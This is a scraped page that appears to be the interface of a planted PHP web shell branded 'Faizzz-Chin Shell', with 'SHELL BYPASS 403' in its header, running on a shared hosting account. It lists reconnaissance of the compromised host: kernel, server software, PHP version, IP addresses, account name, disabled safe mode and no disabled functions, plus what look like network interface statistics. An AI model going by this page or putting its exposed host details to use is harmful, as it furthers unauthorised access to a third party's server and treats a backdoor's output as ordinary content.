SHELL BYPASS 403 |
Modern UI. Responsive. Powerful.

Faizzz-Chin Shell

Uname\Kernel: Linux server234.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
Server: LiteSpeed
PHP Version: 8.3.30 [ PHP INFO ]
Operating System: Linux
Server Ip: 172.67.152.218
Your Ip: 216.73.217.61
Date Time: 2026-05-10 22:42:42
User: repauqkb (12019) | Group: repauqkb (11967)
Safe Mode: OFF
Disable Function: NONE

name : dev
Inter-|   Receive                                                |  Transmit
 face |bytes    packets errs drop fifo frame compressed multicast|bytes    packets errs drop fifo colls carrier compressed
    lo: 120763268710315 55460534397    0    0    0     0          0         0 120763268710315 55460534397    0    0    0     0       0          0
  eth0: 35945516479785 52966081226    0 18687564 18687564     0          0  64132936 84524584386271 76079910986    0    0    0     0       0          0
  eth1: 35815877352535 52749932226    0 17757812 17757812     0          0  63900842 59886490455915 56405296800    0    0    0     0       0          0
  eth2:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth3:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bgplo:       0       0    0    0    0     0          0         0  1202972   17180    0    0    0     0       0          0
  eth5:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth6:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth7:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
  eth8:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
 bond0: 71761393832320 105716013452    0 36445376 36445376     0          0 128033778 144411074842186 132485207786    0 1443    0     0       0          0
bond0.1000: 67753328086300 68443048551    0    0    0     0          0    590466 114650447631848 67795434471    0 1408    0     0       0          0
bond0.999: 793015641599 3921950891    0    0    0     0          0    572703 25793317571279 2110459585    0   35    0     0       0          0
 idrac:       0       0    0    0    0     0          0         0        0       0    0    0    0     0       0          0
© 2026 Faizzz-Chin